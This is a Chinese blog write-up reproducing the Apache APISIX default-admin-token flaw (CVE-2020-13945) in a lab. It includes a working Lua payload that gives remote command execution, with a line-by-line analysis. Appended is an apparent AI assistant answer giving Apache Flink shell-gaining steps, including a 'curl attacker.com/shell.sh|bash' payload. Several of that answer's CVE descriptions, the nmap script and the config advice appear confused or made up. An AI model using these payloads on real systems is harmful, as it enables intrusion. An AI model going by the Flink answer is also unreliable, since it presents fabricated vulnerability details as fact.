Apache APISIX 默认密钥漏洞(CVE-2020-13945)

本文详细介绍了Apache APISIX的默认管理员Token漏洞(CVE-2020-13945),该漏洞允许攻击者通过默认Token获取管理员权限并执行任意LUA脚本。通过docker-compose搭建环境,演示了如何复现此漏洞,并分析了payload中的lua脚本,展示了如何利用该漏洞执行系统命令。同时,提到了修复漏洞的重要性以及理解API网关在系统间交互中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Vulhub——Apache APISIX 默认密钥漏洞(CVE-2020-13945)

APISIX简介

官方一句话介绍:Apache APISIX是一个高性能API网关。

API网关又是什么?

百度:API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞:

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

漏洞复现

docker-compose up -d 搭建环境

docker ps 查看端口为9080
在这里插入图片描述访问 127.0.0.1/asixpix/admin/routes,显示token不正确
在这里插入图片描述抓这个包,把方法改为POST,加上X-API-KEY: edd1c9f034335f136f87ad84b625c8f1,加上payload

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

在这里插入图片描述然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

http://127.0.0.1:9080/attack?cmd=id

在这里插入图片描述

payload分析

查看官方文档,观察创建路由的方法

https://apisix.apache.org/zh/docs/apisix/getting-started/

在这里插入图片描述与payload对比,发现payload格式与官方创建路由一致,只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中,我们在 Route 实体中新增了 script 执行逻辑,可用于接收 Dashboard 生成的 Lua 函数并执行,它支持调用已有插件以复用代码。另外,它也作用于 HTTP 请求的生命周期中的各个阶段,如 accessheader_filerbody_filter 等,系统会在相应阶段自动执行 script 函数对应阶段代码
在这里插入图片描述接下来对lua脚本进行分析,\n是换行

local _M = {} \n function _M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块,用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别
f:close()
end 
return _M

function _M.access(conf, ctx)

在这里插入图片描述assert()
在这里插入图片描述*read('a’)

https://blog.youkuaiyun.com/u013625451/article/details/78879739
在这里插入图片描述

<think>好的,我现在需要处理用户关于Apache Flink Dashboard的安全漏洞和获取Shell方法的查询。首先,用户提到了Apache APISIX默认密钥漏洞CVE-2020-13945)作为参考,这可能暗示他们关注的是默认配置或认证问题。同时,用户引用了其他中间件如IIS、Apache、Tomcat、Nginx的常见搭配,这可能说明他们想了解不同服务器的漏洞利用方式。另外,用户还提到了PHP中字符串连接触发的__toString方法,这可能与反序列化漏洞有关。 首先,我需要确认Apache Flink Dashboard是否存在已知的安全漏洞。查阅资料发现,Apache Flink在1.9.1及之前版本存在未授权访问导致远程代码执行(RCE)的漏洞,特别是通过JobManager的Web界面提交恶意作业。此外,另一个漏洞CVE-2020-17519涉及文件上传和路径遍历,允许覆盖任意文件。还有CVE-2020-17518是REST API未正确处理用户输入导致的RCE。这些漏洞可能允许攻击者获取Shell权限。 接下来,用户可能想知道如何利用这些漏洞。例如,对于未授权访问,攻击者可能直接上传恶意Jar文件执行代码。路径遍历漏洞则可能通过修改文件上传路径来覆盖关键系统文件。而REST API的漏洞可能需要构造特定的HTTP请求来触发命令执行。 另外,需要考虑用户提供的引用内容。例如,引用[1]中的默认密钥漏洞可能提示检查Flink是否有默认凭据,但根据现有知识,Flink默认不启用认证,所以未授权访问更常见。引用[3]的反序列化问题可能不直接适用,但需要确认Flink是否有反序列化点可能被利用。 用户的需求是寻找安全漏洞或获取Shell的方法,因此需要详细说明漏洞利用步骤,同时提醒安全建议,如升级版本、配置认证、网络隔离等。确保回答结构清晰,分点列出漏洞和对应方法,并附上参考资料。 最后,生成相关问题,涵盖漏洞列表、防护措施、与类似中间件漏洞的对比,以及如何检测是否受影响。这有助于用户全面了解Flink的安全状况。</think>关于Apache Flink Dashboard的安全漏洞及获取Shell的方法,以下是已知的漏洞类型和利用方式的技术分析: ### 一、Apache Flink 已知高危漏洞 1. **未授权访问RCE漏洞(Cli模式)** - **影响版本**:1.9.1及以下 - **利用原理**:Dashboard默认未开启认证,攻击者可通过Web界面直接提交恶意Jar包实现代码执行 - **利用步骤**: ```bash curl -X POST -H "Expect:" -F "jarfile=@exploit.jar" http://flink-server:8081/jars/upload curl -X POST http://flink-server:8081/jars/{jar_id}/run ``` 2. **路径遍历+文件覆盖漏洞CVE-2020-17519)** - **影响版本**:1.5.1-1.11.2 - **利用效果**:通过恶意文件名构造路径遍历,覆盖服务器任意文件 ```http POST /jars/upload HTTP/1.1 Content-Disposition: form-data; name="jarfile"; filename="../../tmp/evil.config" ``` 3. **REST API命令注入(CVE-2020-17518)** - **触发点**:JobManager的REST接口 - **Payload示例**: ```http GET /jars/upload?addr=127.0.0.1|bash+-c+"curl+attacker.com/shell.sh|bash" HTTP/1.1 ``` ### 二、防护建议 1. 升级到1.11.3+版本并启用HTTPS 2. 在`flink-conf.yaml`中配置认证: ```yaml security.kerberos.login.use-ticket-cache: true security.ssl.enabled: true ``` 3. 通过防火墙限制Dashboard的访问源IP[^1] ### 三、漏洞检测方法 使用nmap检测开放端口: ```bash nmap -p 8081,6123 --script flink-detect.nse <target_ip> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值